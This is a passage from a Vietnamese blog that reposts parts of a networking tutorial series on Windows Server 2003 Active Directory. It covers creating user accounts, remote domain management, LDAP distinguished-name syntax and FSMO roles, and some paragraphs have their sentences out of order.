khiển truy cập để ngăn chặn các mâu thuẫn điều khoản. hãy bổ sung tên của họ vào danh sách thành viên nhóm. chúng tôi sẽ tiếp tục giới thiệu đến sự ảnh hưởng của việc chọn các kiểu nhóm khác nhau như thế nào. chúng tôi đã giới thiệu cho bạn cách tạo các nhóm bảo mật trong môi trường Windows Server 2003. Ngược lại. Bất cứ điều khoản nào áp dụng cho nhóm cũng được áp dụng cho các thành viên của nhóm. việc tìm ra ai có các quyền truy cập vào thư mục cũng đơn giản như việc kiểm tra danh sách các thành viên nhóm (như trong hình C). Bạn có thể thấy trong hình D. bạn kích chuột phải vào thư mục Data.

Phần thông tin cần thiết mà bạn cần phải cung cấp đó là tên đăng nhập của người dùng.Một trong những sử dụng thấy nhiều nhất ở Active Directory Users trong Computers console là tạo các tài khoản người dùng mới. Càng nhiều thông tin về thuộc tính thì các thông tin được lưu bên trong Active Directory sẽ càng trở lên hữu dụng. Trong thực tế. Tuy vậy sẽ không tốt nếu bạn thực hiện lưu nhiều đối tượng khác hơn là các đối tượng người dùng trong mục Users. Windows ban đầu chỉ yêu cầu nhập vào một số thông tin cơ bản về người dùng. Các thành phần như tên và họ là thuộc tính của đối tượng người dùng mà bạn đang tạo. nhưng về mặt kỹ thuật thì nó không cần thiết lắm. Khi đó bạn sẽ thấy được các menu con. Để thực hiện điều đó. Khi đã điền đầy các trường này. nhiều ứng dụng làm việc bằng cách trích rút các thuộc tính khác nhau từ Active Directory. Nói về kỹ thuật. tất cả những gì cần làm là đánh và nhập lại mật một mật khẩu. Hình B: Hộp thoại New Object – User cho phép tạo tài khoản người dùng mới Như những gì thấy trong hình. Mặc dù cửa sổ này hỏi nhiều thứ khác như tên và họ. khi đó bạn sẽ thấy màn hình tiếp theo xuất hiện như trong hình C dưới đây. bạn có thể tránh trường hợp này bằng cách xóa hộp kiểm “User Must Change Password at Next Logon”. Sau khi thực hiện như vậy. Active Directory là một cơ sở dữ liệu mà bạn có thể truy vấn thông tin. một panel chi tiết của giao diện sẽ hiển thị tất cả tài khoản người dùng đang tồn tại trong miền (như trong hình A). từ menu con này có thể chọn nhiều kiểu đối tượng khác nhau mà bạn có thể tạo. Lý do nên điền đầy vào hết các trường này là vì tài khoản người dùng không hơn gì một đối tượng sẽ cứ trú bên trong Active Directory. bạn mở mục tương ứng với miền chứa người dùng. Xét cho cùng. Hình A: Chọn mục Users. người dùng thường bị yêu cầu thay đổi mật khẩu cho lần đăng nhập kế tiếp. chọn mục Users. kích nút Next. Mặc dù các trường khác chỉ là những lựa chọn tùy thích nhưng chúng tôi vẫn khuyên bạn nên điền đầy đủ thông tin vào các trường này. Tuy vậy. Khi đó sẽ thấy một hộp thoại xuất hiện như trong hình B. Users chỉ là một mục và bạn có thể đưa vào rất nhiều kiểu đối tượng. Với trường hợp bài này đưa ra. giao diện điều khiển sẽ hiển thị tất cả các tài khoản người dùng trong miền Bây giờ kích chuột phải vào mục Users và chọn New. Hình C: Cần phải gán mật khẩi cho tài khoản mới Việc gán một mật khẩu là hoàn toàn đơn giản. Cũng có nhiều hộp kiểm khác cho phép ngăn chặn người dùng . Mặc định. bạn chọn lệnh Users từ các menu con.

sau đó chọn Properties. khi đó chỉ cần kích Finish và một tài khoản người dùng mới sẽ được tạo. kỹ thuật tương tự cũng có thể được sử dụng cho việc thay đổi các thuộc tính đang tồn tại. Có một điều cần phải lưu ý là màn hình để thiết lập mật khẩu ở trên không phải là tất cả. Có một số thuộc tính mà bạn có thể rất dễ sử dụng và có ích. đơn giản bạn chỉ cần kích chuột phải vào tài khoản người dùng được chọn. nếu một nhân viên nữ đã kết hôn. Kích Next bạn sẽ thấy một màn hình hiển thị toàn bộ các tùy chọn mà bạn đã chọn. bạn sẽ gặp một màn hình như trong hình D. Tuy vậy. Chúng tôi khuyến khích các thuộc tính đang cư trú mà có liên quan đến thông tin liên hệ cơ bản. Nếu có các thông tin liên hệ của người dùng được lưu trong Active Directory thì bạn có thể tra cứu số điện thoại của người dùng một cách dễ dàng và gọi cho người dùng này yêu cầu họ đăng xuất. Xác nhận tất cả các thông tin đều đúng. một số công ty thường tạo các thư mục công ty dựa trên thông tin được lưu trong thuộc tính Active Directory này. chúng tôi muốn nhấn mạnh rằng. Khi bạn gán mật khẩu cho một tài khoản người dùng mới. Trước khi giới thiệu cho bạn cách đặt các thuộc tính của Active Directory. với mục đích cần khởi động lại một máy chủ. mật khẩu này phải tuân theo chính sách bảo mật của công ty bạn. Chỉnh sửa và bổ sung các thuộc tính của tài khoản Như đã nói ở trên. Ví dụ. Nếu mật khẩu sử dụng không có các yêu cầu cần thiết đã được đưa ra bởi chính sách nhóm có thể áp dụng thì tài khoản người dùng này sẽ không được tạo. Bạn có thể tùy chọn để thiết lập thời hạn vô hạn cho mật khẩu hoặc vô hiệu hóa toàn bộ tài khoản. Để truy cập vào các thuộc tính tài khoản người dùng khác nhau. Active Directory còn gồm có hàng tá thuộc tính kèm theo có liên quan đến các tài khoản của người dùng này.thay đổi tất cả các mật khẩu của họ. chúng ta đã thấy được sự quan trọng trong việc điền các thuộc tính khác nhau khi tạo một tài khoản mới. Bạn có thể sử dụng các kỹ thuật mà chúng tôi sẽ giới thiệu sau đây để thay đổi nội dung thuộc tính cần thiết có liên quan. Ví dụ. Sau khi thực hiện như vậy. Hình D: Trang thuộc tính của người dùng được sử dụng để lưu thuộc tính . cô ta có thể thay đổi họ của mình (theo truyền thống một số nước). trong khi đó một người dùng vẫn đăng nhập vào ứng dụng cư trú trên máy chủ. nó vẫn là một ý tưởng tốt cho việc định cư thông tin tài khoản người dùng trong Active Directory. Trong thực tế. Bạn có thể thấy nhiều màn hình liên quan đến việc tạo tài khoản mới không thực sự có nhiều thuộc tính.

Xác lập lại mật khẩu người dùng Bạn có thể thấy trên hình D có rất nhiều tab khác nhau.và thông tin cấu hình cho tài khoản người dùng.Active Directory Users và Computers Console Trong các phần trước của loạt bài này chúng tôi đã giới thiệu cho các bạn về cách làm việc với AD. Windows Server 2003 có một số công cụ khác được sử dụng cho việc quản lý AD. Telephones. Trong phần này chúng tôi sẽ tiếp tục tất cả những gì cần phải thực hiện đối với một mạng. email. bạn kích chuột phải vào tài khoản người dùng và chọn lệnh Reset Password trong menu chuột phải. Nếu cần phải thiết lập lại mật khẩu của người dùng thì bạn phải đóng cửa sổ này. công cụ này được sử dụng để tạo. Kết luận Trong phần này.asp?ID=52&IDL=97&IDD=1180 Được đăng bởi haodalat tại 8:15 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. chúng tôi sẽ tiếp tục giới thiệu về các khả năng khác của Active Directory Users và Computers console. NETWORK Kiến thức cơ bản về mạng: Phần 11 . điện thoại. tab General có thể cho phép thay đổi tên hoặc tên hiển thị của người dùng. Bạn có thể truy cập vào công cụ này bằng cách kích chuột vào nút Start của máy chủ và từ menu Start tìm đến All Programs / Administrative Tools. văn phòng. và Organization. Trong phần tiếp theo của loạt bài này. Bạn cũng có thể điền vào (hoặc thay đổi) một số trường khác như phần mô tả. Công cụ quản lý AD này cho phép bạn sử dụng hầu hết các nhiệm vụ quản lý hàng ngày đó là Directory Users và Computers console. việc đặt các thuộc tính của Active Directory khác nhau có liên quan đến tài khoản đó. quản lý và xóa các tài khoản người dùng và máy tính. Tùy . chúng tôi đã giới thiệu cho bạn các quá trình tạo một tài khoản người dùng. Như tên của nó.sanitc. Các tab này có tất cả các trường dành cho việc lưu trữ thông tin chi tiết hơn về người dùng. http://www. Một thành phần mà hầu hết các quản trị viên mới dường như đều phát hiện ra khi khám khá các tab này đó là không có tùy chọn cho việc thiết lập lại mật khẩu của người dùng. Nếu quan tâm đến việc lưu trữ thêm các thông tin chi tiết hơn về người dùng thì bạn có thể duyệt qua các tab Address. Hầu hết các tab này đều liên quan đến bảo mật và cấu hình cho tài khoản người dùng.com/itc/NewDetail. và việc thiết lập lại mật khẩu của tài khoản. Sau khi thực hiện điều đó. hoặc website. Như có thể thấy được trên hình.

trong công ty lớn phải có các miền khác nhau cho mỗi văn phòng của công ty. vì vậy Active Directory Users and Computers sẽ kết nối đến miền production. Mặc dù Active Directory Users and Computers mặc định hiển thị miền có liên quan đến bộ điều khiển miền mà bạn đã đăng nhập. Ví dụ.com là một trong các miền trên mạng của chúng tôi và không có miền nào khác được liệt kê trong hình A. nhưng vẫn có thể sử dụng giao diện này để hiển thị bất kỳ miền nào mà bạn có quyền thao tác với chúng. Ví dụ. Khi mở mục Active Directory Users and Computers.com là một miền trên mạng của chúng tôi. trong khi viết bài này. Vấn đề ở đây là các miền đó thường bị phân tán về mặt địa lý. Tất cả các mục khác được liệt kê bên dưới đều là đối tượng của miền AD cho từng miền. Giao diện này chỉ là một công cụ mức miền. vì vậy nếu không quan sát thấy lệnh Active Directory Users and Computers thì bạn phải đăng nhập vào bộ điều khiển miền. màn hình này cho phép đánh vào đó tên miền mà bạn muốn kết nối hoặc kích vào nút Browse . Bạn cần phải nhớ rằng chỉ có các bộ điều khiển miền mới có tùy chọn này. Nevada thì nó sẽ không phải di chuyển một quãng đường lớn dọc toàn nước Mỹ mỗi khi bạn cần quản lý miền Las Vegas.com. Hình A: Giao diện Active Directory Users and Computers cho phép quản lý các miền riêng lẻ Bạn có thể thấy rằng production. Một thứ khác mà bạn phải chú ý đó là menu Administrative Tools gồm có một cặp công cụ AD khác: Active Directory Domains and Trusts và Active Directory Sites and Services. Mặc dù forest thể hiện toàn bộ AD nhưng bảng điều khiển Active Directory Users and Computers không cho phép làm việc với AD ở mức forest. bạn sẽ thấy xuất hiện một màn hình giống như hình A dưới đây. forest này gồm có một hoặc nhiều miền. Miền được liệt kê trong giao diện tương ứng với bộ điều khiển miền mà bạn đã đăng nhập.com được đánh dấu. Tất cả những gì cần phải làm lúc này là kích chuột phải vào miền đang được hiển thị.com. tôi đã đăng nhập vào một trong các bộ điều khiển miền đó là production. Thực tế. Florida và miền khác của công ty hiện diện cho một văn phòng tại Las Vegas. AD có forest. Khi thực hiện như vậy sẽ có một màn hình được hiển thị. Điều đó là vì Active Directory Users and Computers chỉ liệt kê một miền tại một thời điểm để giữ cho giao diện trông gọn gàng. Bạn có thể xem lại từ các phần trước trong loạt bài này.chọn Active Directory Users and Computers ở gần phía trên của menu Administrative Tools. Production. sau đó chọn lệnh Connect to Domain từ menu chuột phải. Chúng tôi sẽ giới thiệu các tiện ích này trong một số bài viết sau. nếu nhìn vào hình A bạn sẽ thấy production. Nếu lúc này bạn đang ở Miami.

Trong môi trường Windows Server 2003 bạn có thể kích hoạt một phiên từ xa bằng cách kích chuột phải vào My Computer và chọn lệnh Properties từ menu chuột phải. Chọn tùy chọn Active Directory Users and Computers từ danh sách snap-in đó và kích Add. Khi đó bạn sẽ thấy đươc cửa sổ thuộc tính của hệ thống. trong đó các bộ điều khiển miền được đặt trong các tòa nhà riêng biệt hoặc không có điều kiện thuận lợi cho tôi đăng nhập vào bộ điều khiển miền để thực hiện công việc bảo trì hàng ngày. tiếp theo đó là Close và OK. Ví dụ. bạn nhập lệnh MMC vào cửa sổ lệnh RUN của máy chủ. Giao diện điều khiển lúc này sẽ được nạp. Bạn có thể truy cập giao diện này với tư cách máy chủ thành viên bằng cách nạp một cách thủ công nó vào Microsoft Management Console. Lúc này bạn có thể kết nối giao diện điều khiển đến một bộ điều khiển miền nào đó mà không cần đăng nhập vào bộ điều khiển miền đó. Vào tab Remote và chọn hộp kiểm Enable Remote Desktop on this Computer (xem hình B). Nếu bạn thấy xuất hiện lỗi và giao diện không cho phép quản lý miền sau khi kích chuột phải trên mục Active Directory Users and Computers và chọn lệnh Connect to Domain Controller từ menu chuột phải.và duyệt miền. tôi đã làm việc trong một số văn phòng. Khi thực hiện xong máy chủ sẽ mở một Microsoft Management Console trống. Khi một miền được đặt ở xa thì bạn có thể rất khó để đăng nhập trực tiếp vào bộ điều khiển miền. Kỹ thuật đó làm việc sẽ rất thú vị nếu bạn có một máy chủ . Bằng cách đó bạn sẽ có thể quản lý được miền giống như trong giao diện điều khiển của bộ điều khiển miền. Kích nút Add trên tab Standalone trong cửa sổ thuộc tính. nhưng điều gì sẽ xảy ra nếu máy trạm làm việc của bạn đang sử dụng Windows Vista. Tiếp theo đó bạn chọn lệnh Add / Remove Snap-In từ menu File của giao diện điều khiển. Một trong những giải pháp đơn giản nhất để giải quyết vấn đề này đó là thiết lập một phiên RDP cho một trong những máy chủ. Giao thức này sẽ cho phép điều khiển từ xa các máy chủ trong tổ chức của bạn. Tuy nhiên một tin tốt đó là không cần phải đăng nhập vào bộ điều khiển miền để truy cập vào giao diện Active Directory Users and Computers mà chỉ cần đăng nhập vào bộ điều khiển miền để truy cập vào giao diện Active Directory Users and Computers từ menu Administrative Tools. Trong một số trường hợp load giao diện theo cách này có thể gây ra lỗi. và tất cả máy chủ đều nằm bên phía bên kia của tòa nhà. RDP là giao thức máy trạm từ xa (Remote Desktop Protocol). bạn sẽ thấy một danh sách các snap-in có sẵn. . Để thực hiện điều đó. Windows lúc này sẽ mở cửa sổ thuộc tính của Add / Remove Snap-In.

chúng tôi muốn nhắc lại rằng các tên phân biệt không duy nhất có trong Active Directory. Microsoft đã xây dựng Active Directory để lợi dụng các chuẩn công nghiệp được sử dụng bởi nhiều công ty khác như Novell và IBM.asp?ID=52&IDL=97&IDD=1179 Được đăng bởi haodalat tại 8:00 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. bạn không chỉ có được sự chuẩn bị tốt hơn cho việc quản lý Active Director mà còn có được một mức thân thiện nhất định nếu bạn đã từng được yêu cầu làm việc với hệ điều hành mạng không phải của Microsoft. bạn chọn lệnh Remote Desktop Connection từ menu All Programs / Accessories. Trong phần 9 này. Trong phần 12 tới chúng tôi sẽ tiếp tục giới thiệu cho bạn về các khả năng khác của công cụ này. Các nguyên tắc đặt tên cơ bản Các tên phân biệt với nhau nhờ thuộc tính. Khi thực hiện xong.com/itc/NewDetail. mỗi một đối tượng trong thư mục có tên riêng của chính nó. . bạn sẽ thấy màn hình xuất hiện như màn hình thể hiện dưới hình C. bạn hãy xem một tên đơn giản. chúng tôi đã giải thích cho các bạn về đối tượng tham chiếu giao thức LDAP trong Active Directory bởi tên phân biệt của chúng. NETWORK Kiến thức cơ bản về mạng: Phần 9 – Các tên phân biệt Trong phần 8 của loạt bài này. Trước khi bắt đầu Trước khi bắt đầu.Hình B: Cấu hình một máy chủ để hỗ trợ các kết nối máy trạm từ xa (Remote Desktop) Để kết nối đến máy chủ từ máy Windows Vista. chúng tôi muốn tiếp tục giới thiệu cho các bạn về các tên phân biệt như thế nào.sanitc. Mời các bạn đón đọc http://www. các thuộc tính này được gán giá trị. Hình C: Có thể kết nối đến một máy chủ từ xa dễ dàng hơn bằng Windows Vista Kết luận Trong phần này chúng tôi đã giới thiệu cho bạn về Active Directory Users and Computers. Bằng cách nghiên cứu về chúng. Trong đó chúng tôi đã giải thích về cách sử dụng giao diện này để quản lý các miền từ xa. Lúc này hãy nhập vào tên máy chủ của bạn và kích nút Connect để thiết lập một phiên điều khiển xa. Mỗi một tên phân biệt thường gồm có nhiều cặp giá trị thuộc tính.

Trong trường hợp điển hình này. DC=com. Tên phân biệt này được gán cho mỗi một tài khoản người dùng (chính xác hơn là một đối tượng người dùng) có tên User1. tên phân biệt thường được thay thế bởi Relative Display Name (viết tắt là RDN). CN=Users. mỗi một cặp được phân biệt với nhau bằng dấu phẩy. DC=com.CN=User1. DC=com. Bạn có thể nói rằng COM và Contoso là các miền bởi vì cả hai sử dụng thuộc tính DC. Nếu quan sát kỹ hơn tên phân biệt này thì bạn có thể nhận ra rằng nó là hệ có thứ bậc. Thứ nhất. CN=Users. . tên được tạo thành từ 4 cặp thuộc tính/ giá trị khác nhau. Thứ bậc miền ‘nhại lại’ thứ bậc miền được sử dụng bởi các máy chủ DNS (bạn đã được giới thiệu về thứ bậc DNS trong các bài trước) Bạn cần phải hiểu thứ bậc tên này làm việc như thế nào vì hai lý do. DC=Contoso. CN=Users. Cặp thuộc tính/ giá trị thứ nhất là CN=USER1. Lý do khác là hiểu được bản chất của thứ bậc thư mục vì đôi khi các đường tắt sẽ được sử dụng để thay cho tên đầy đủ. DC=Contoso. Nó là cặp giá trị/ thuộc tính bên trái nhất trong tên phân biệt. Điều này hoàn toàn có thể vì nó không cần thiết phải cung cấp thông tin về vị trí của đối tượng trong thứ bậc nếu vị trí đã được biết. Trong cặp này. mọi thứ trở thành rõ ràng ngay lập tức. Trong trường hợp riêng này. DC=com Trong ví dụ này. DC=Contoso thể hiện mức thứ hai. DC=com thể hiện mức cao của thứ bậc. tên cha sẽ là CN=Users. Ví dụ.). còn các cặp thuộc tính/ giá trị được phân biệt với nhau bằng dấu phẩy (. Trong trường hợp CN=User1.com hay không? Trong tình huống này cũng như vậy. Các tên phân biệt Khi bạn xem tên CN=User1. thì RDN là CN=User1. Phần còn lại trong tên cho chúng ta biết vị trí của đối tượng trong thứ bậc thư mục. CN (viết tắt cho Common Name) là thuộc tính và User1 là giá trị. CN=Users. DC=Contoso. Phần khác của tên phân biệt cũng được biết đến như tên cha. chúng ta hãy xem xét thêm về ví dụ trên: CN=User1. Để rõ hơn những gì đang nói. Nếu bạn đang cố nói với một ai đó về vấn đề này thì có thể tình cờ đề cập đến nó như User1. Đôi khi LDAP cũng thực hiện tương tự như vậy. nếu chúng tôi đang thực hiện một số hoạt động trên các đối tượng người dùng được đặt trong thư mục Users trong miền Contoso. Các thuộc tính và giá trị luôn luôn phân biệt với nhau bởi dấu bằng (=). RDN luôn luôn được phân biệt của bộ nhận dạng rõ ràng nhất. hiểu thứ bậc tên bạn có thể biết chính xác nơi một đối tượng cụ thể được định vị bên trong thư mục.com thì có thực sự cần thiết để tuyên bố rõ ràng rằng các đối tượng đều được đặt trong Users của miền Contoso. DC=Contoso.

Một số hệ điều hành mạng khác thiên về dựa trên các thứ bậc tên riêng biệt của họ trên các công ty và quốc gia hơn là các container và miền. chúng ta hãy xem xét một tên đầy đủ được biểu diễn với tên và họ cách nhau bằng dấu phẩy. Trong các kiểu tên đó. Nếu muốn lưu giá trị Smith. chúng tôi muốn đề cập một vấn đề là Microsoft thường thiên về sử dụng định dạng tên khác nhau hơn là một số nhà sản xuất hệ điều hành mạng khác. Tuy nhiên LDAP không cho phép bạn sử dụng lệnh CN=Smith. John vì dấu phẩy được sử dụng bởi LDAP để phân biệt các cặp thuộc tính/ giá trị. dấu back slash làm cho LDAP phải coi dấu phẩy là dữ liệu chứ không phải là một phần của cú pháp câu lệnh. dấu lớn hơn. CN=Users. nhưng chúng không thể thay đổi cho nhau. Như những gì bạn đã thấy. dấu trích dẫn và dấu xổ ngược . Dấu này cho phép bạn đưa ra một lệnh LDAP để bỏ qua kí tự theo sau. Các kí tự đặc biệt trong tên Cho đến giờ chúng ta mới chỉ thấy các dấu phẩy và dấu bằng có ý nghĩa đặc biệt trong phần nội dung của tên. Tuy nhiên còn có một số kí tự đặc biệt khác mà phần trên chúng tôi chưa giới thiệu. Lý do về 2 định dạng tên khác nhau là Microsoft đã xây dựng thư mục của họ khác so với các đối thủ cạnh tranh khác. Bằng sử dụng quy ước đặt tên này. Cách khác để thực hiện điều này là dùng dấu trích dẫn. Chúng tôi sẽ không giới thiệu hết các kí tự đặc biệt này mà chỉ tập trung vào giới thiệu cho các bạn dấu back slash. DC=com. DC=com sẽ như sau: CN=User1.back slash (\). O=Contoso. Để rõ hơn nó được sử dụng như thế nào. tên riêng biệt CN=User1. Điều này cho phép lưu các kí tự bị cấm trong thư mục của bạn. Các kí tự đặc biệt đó gồm có dấu cộng. Không có gì sai với định dạng này bởi vì nó chiếu theo RFC 2253 để thiết lập các nguyên tắc cho tên riêng biệt.DC=Contoso. Nhiệm vụ của tên là để miêu tả một đối tượng và vị trí của nó bên trong thư mục. DC=Contoso. Trước khi tiếp tục. bạn có thể thực hiện bằng các tạo một dấu back slash như dưới đây: CN=Smith\. John Trong lệnh ở trên. C=US Hãy nhớ rằng cả hai định dạng này đều tuân theo RFC 2253. John trong thư mục. số. nhỏ hơn. Mọi thứ bên trong dấu trích dẫn đều được coi . các tên của Microsoft thiên về dựa vào container và miền. thuộc tính O được sử dụng để chỉ định tên tổ chức (công ty) và chữ cái C được sử dụng để chỉ định tên quốc gia.

Các bộ điều khiển miền này dùng để giữ FSMO role (Flexible Single Operations Master). Có một quy tắc đặc biệt với việc sử dụng dấu back slash bên trong các dấu trích dẫn. Các trường hợp sự dụng dấu back slash giữa dấu trích dẫn được xem như không hợp lệ. Các role mức forest gồm có Schema Master và Domain Naming master.trithuccongdong. Primary Domain Controller (PDC) Emulator và Infrastructure Master. NETWORK Kiến thức cơ bản về mạng: Phần 8 . Kết luận Thông qua nội dung bài bạn có thể thấy các nguyên tắc cho việc tạo một tên có thể khá tinh tế. Tôi chắc bạn có thể biết. Windows sẽ hoàn nguyên mô hình đơn master trong một bộ điều khiển miền đơn thực hiện với tư cách thẩm định đơn nhất cho sự thay đổi theo yêu cầu. Dấu back slash có thể được sử dụng để áp đặt LDAP bỏ qua các dấu back slash khác.php? option=com_content&task=view&id=379&Itemid=113 Được đăng bởi haodalat tại 7:59 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Sự quan trọng của Role Trong phần trước của bài này. Trong các tình huống này. Rốt cuộc thì tôi cũng đã quyết định bởi FSMO role là rất quan trọng trong việc hỗ trợ chức năng Active Directory. trong khi đó các role FSMO mức miền lại gồm Relative Identifier Master. việc hiểu được các tên sẽ là chìa khóa giúp bạn quản lý Active Directory tốt. Hai role tồn tại tại mức forest và 3 tồn tại ở mức miền (domain). Trong phần 10 tiếp theo chúng tôi sẽ tiếp tục giới thiệu bằng cách đưa ra các công cụ quản lý Active Directory.com/portal/index. Quả thực tôi đã cân nhắc xem có cần phải thảo luận hay không về FSMO role quá sớm trong loạt bài viết này. nếu bạn cần gộp một dấu back slash vào phần dữ liệu thì đơn giản bạn chỉ cần sử dụng hai dấu back slash thay cho một dấu. Tuy vậy. chúng tôi đã giải thích về các miền Active Directory sử dụng mô hình đa master ngoại trừ trong các tình huống đặc biệt quan trọng để tránh xung đột. hậu quả thất bại FSMO và làm thế nào để phát hiện máy chủ nào đang quản lý role FSMO. Active Directory đòi hỏi các dịch vụ DNS phải có thể . Như những gì chúng tôi đã giải thích trong phần 7.như dữ liệu. Theo Networking http://www. Để đơn giản.Tiếp tục về FSMO Role Bài viết này chúng tôi sẽ tiếp tục giới thiệu đến các bạn các role của FSMO bằng cách giới thiệu về những gì role thực hiện. có 5 FSMO role khác nhau.

Không phải tất cả FSMO role đều có vai trò quan trọng đối với hoạt động của mạng mà chỉ có bộ điều khiển miền cấu hình FSMO role mức forest mới thường xuyên cấu hình các dịch vụ DNS . . Khi thực hiện điều đó.MSI trong thư mục I386. Nếu bộ điều khiển miền gồm có các FSMO role mức forest bị lỗi thì bạn cần phải chú ý làm rạch ròi vấn đề. Và cũng quan trọng đối với bạn đó là làm thế nào để xác định được máy chủ nào đang cấu hình mỗi FSMO role. giản đồ của Active Directory không phải giản đồ tĩnh. Các FSMO role mức forest chỉ được cấu hình trên bộ điều khiển miền đơn mà không quan tâm đến số lượng miền trong một forest. Nếu các miền khác được tạo bên trong forest thì bộ điều khiển miền đầu tiên bên trong mỗi miền sẽ cấu hình FSMO role cho miền đó.truy cập và mỗi miền phải có ít nhất một bộ điều khiển miền. Nếu dịch vụ DNS được cấu hình trên một máy chủ riêng biệt và các miền bên trong mỗi forest có nhiều hơn một bộ điều khiển miền thì có thể sẽ không cần lưu ý đến lỗi (trừ khi bạn có phần mềm kiểm tra để cảnh báo đã bị lỗi) Bình thương sẽ không có hậu quả ngay lập tức xảy ra đối với một FSMO role lỗi. vì vậy Microsoft để ẩn nó không cho nhìn thấy. nếu các triệu chứng hợp với một lỗi FSMO role xuất hiện thì bạn có thể kiểm tra xem máy chủ đang cấu hình FSMO role có phải bị lỗi hay không và sau đó có thể xử lý sự cố cho máy chủ đó. Windows sẽ khởi chạy Administration Tools Pack Setup Wizard. Có một số hoạt động cần thiết mở rộng giản đồ. cũng giống như cơ sở dữ liệu khác. Tuy nhiên lại không giống như các cơ sở dữ liệu khác. Trong trường hợp này. Tôi nói cho bạn điều này vì muốn nhắc về những gì sẽ xảy ra nếu một bộ điều khiển miền đang cấu hình FSMO role bị lỗi. Bất kỳ thời điểm nào diễn ra sự thay đổi giản đồ Active Directory thì những thay đổi đó cũng được áp dụng cho Schema Master. việc biết được các dấu hiệu của một FSMO role bị lỗi là rất quan trọng. Schema Master là một thành phần rất quan trọng của các FSMO role. Nếu cần phải tìm máy chủ nào đang cấu hình Schema Master role thì bạn phải đưa đĩa CD cài Windows Server 2003 và kích đúp vào file ADMINPAK. Bộ điều khiển miền tương tự cũng được gán cho tất cả 5 FSMO role. Ví dụ. nhưng một số triệu chứng lạ sẽ phát triển sau đó nếu vấn đề vẫn không được sửa. Theo cửa sổ wizard để cài đặt gói các công cụ quản trị. Khi một mạng nào đó dựa trên Active Directory được khởi tạo ban đầu thì bộ điểu khiển miền đầu tiên hầu như được cấu hình để thực hiện với tư cách là máy chủ DNS của mạng. Schema Master Active Directory không thực sự là một thứ gì ngoài cơ sở dữ liệu. việc cài đặt Exchange Server cần giản đồ Active Directory để được mở rộng.dịch vụ được xem là rất quan trọng đối với Active Directory. Bằng cách đó. Active Directory có một giản đồ.

Relative Identifier (Bộ nhận dạng quan hệ) Active Directory cho phép quản trị viên tạo các đối tượng Active Directory trên bất kỳ bộ điều khiển miền nào. Nếu Domain Naming Master bị lỗi thì nó không thể tạo và gỡ bỏ các miền cho tới khi Domain Naming Master quay trở lại trực tuyến. sau đó nhấn Close và nút OK. Relative Identifier Master chỉ định một nhóm bộ nhận dạng quan hệ cho mỗi một điều khiển miền. Kích chuột vào nút Add để xuất hiện một danh sách có sẵn các mô đun. kích chuột phải vào Active Directory Schema và chọn Operations Master từ menu chuột phải. mở Active Directory Domains and Trusts. Sau khi chọn xong. Khi cửa sổ được mở. Sau khi chọn xong. Trong cửa sổ này bạn có thể chọn bộ điều khiển miền nào đang thực hiện như bộ nhận dạng quan hệ bằng cách quan sát ở tab RID của trang thuộc tính. Để xác định máy chủ nào đang hoạt động như Domain Naming Master cho một forest. Khi cửa số này được mở. Khi một đối tượng mới được tạo trong một miền. Windows sẽ hiển thị trang thuộc tính của Operations Masters. chọn Add/Remove từ menu File. khi cửa sổ này được mở. một rừng Active Directory có thể gồm nhiều miền. Bây giờ mô đun đã được tải ra. Mỗi một đối tượng phải có một số hiệu nhận dạng quan hệ duy nhất để ngăn chặn các bộ nhận dạng quan hệ khỏi bị giống nhau. Một hộp thoại sẽ xuất hiện. Domain Naming Master Như tôi đã giải thích.Khi quá trình cài đặt được hoàn tất. Chọn mô đun Active Directory Schema trong danh sách và kích vào nút Add. bộ điều khiển miền mà đối tượng đang tạo sẽ lấy một trong những bộ nhận dạng quan hệ của nó ra khỏi nhóm và gán cho đối tượng. kích chuột phải vào Active Directory Domains and Trusts và chọn Operations Masters. Khi một nhóm được khai thác hết thì bộ điều khiển miền phải liên lạc với Relative Identifier Master để có thêm bộ nhận dạng quan hệ. cửa sổ sẽ hiển thị trang thuộc tính của thành phần Add/Remove. Để xác định máy chủ nào đang thực hiện như bộ nhận dạng quan hệ cho một miền. Việc kiểm tra các miền này là công việc của Domain Naming Master. kích chuột phải vào danh sách miền hiện hành và chọn Operations Masters. bạn đóng Setup wizard và mở Microsoft Management Console bằng cách nhập vào dòng lệnh MMC trong cửa số lệnh RUN. hãy mở Active Directory Users and Computers. triệu chứng cuối cùng của Relative Identifier Master lỗi là hoàn toàn bất lực trong việc tạo các đối tượng trong Active Directory. Windows sẽ hiển thị Domain Naming master. Như vậy. hộp thoại này thông báo cho bạn biết rằng máy chủ nào đang cấu hình với tư cách là Schema Master của forest. .

Khi cửa số này được mở. mở Active Directory Users and Computers. bạn kích chuột phải vào miền hiện hành và chọn Operations Masters. Để xác định máy chủ nào đang thực hiện với tư cách Infrastructure Master cho một miền. Role của PDC emulator ngày nay càng không liên quan nhiều hơn bởi vì rất ít các tổ chức sử dụng Windows NT Server. Khi cửa số này được mở. thay đổi hoặc xóa một đối tượng bên trong một miền. Role của PDC emulator được tạo để cho phép các bộ điều khiển miền Active Directory cùng tồn tại với các bộ điều khiển miền Windows NT. Nếu bạn cần chỉ định máy chủ nào trong miền đang cấu hình role của PDC Emulator dù cho bạn có thể thực hiện điều đó bằng cách mở Active Directory Users and Computers. Đây chính là nơi mà Infrastructure Master diễn ra. Windows sẽ hiển thị trang thuột tính của Operations Masters.Primary Domain Controller Emulator Xuyên suốt loạt các bài viết này. Bạn có thể xác định được bộ điều khiển miền nào đang thực hiện với tư cách Operations Master bằng cách nhìn vào tab Infrastructure của trang thuộc tính. Nếu máy chủ Infrastructure Master bị lỗi thì các thay đổi đối tượng sẽ không thể nhìn thấy trong đường biên miền. Tất nhiên ngụ ý của nó là các miền Active Directory không hoàn toàn mà các thực thể độc lập mà chúng đôi khi phải truyền thông với phần còn lại của forest. Bạn có thể xác định bộ điều khiển miền nào đang hành động như PDC Emulator bằng cách quan sát tại tab PDC của trang thuộc tính. Ở điểm này. Infrastructure Master Trong môi trường Active Directory. Ví dụ. Ý tưởng cơ bản ở đây là khi một tổ chức đang nâng cấp từ Windows NT lên Windows 2000 hoặc Windows Server 2003 thì PDC là bộ điều khiển miền đầu tiên được nâng cấp. sự thay đổi sẽ được truyền một cách tự nhiên xuyên suốt miền. bộ điều khiển miền được nâng cấp gần đây hoạt động như một bộ điều khiển miền Active Directory và một PDC cho các bộ điều khiển miền vẫn đang chạy Windows NT. bạn kích chuột phải vào danh sách miền hiện hành và chọn Operations Masters. tôi đã nói về role mà Primary Domain Controller (PDC) hoạt động trong môi trường Windows NT. 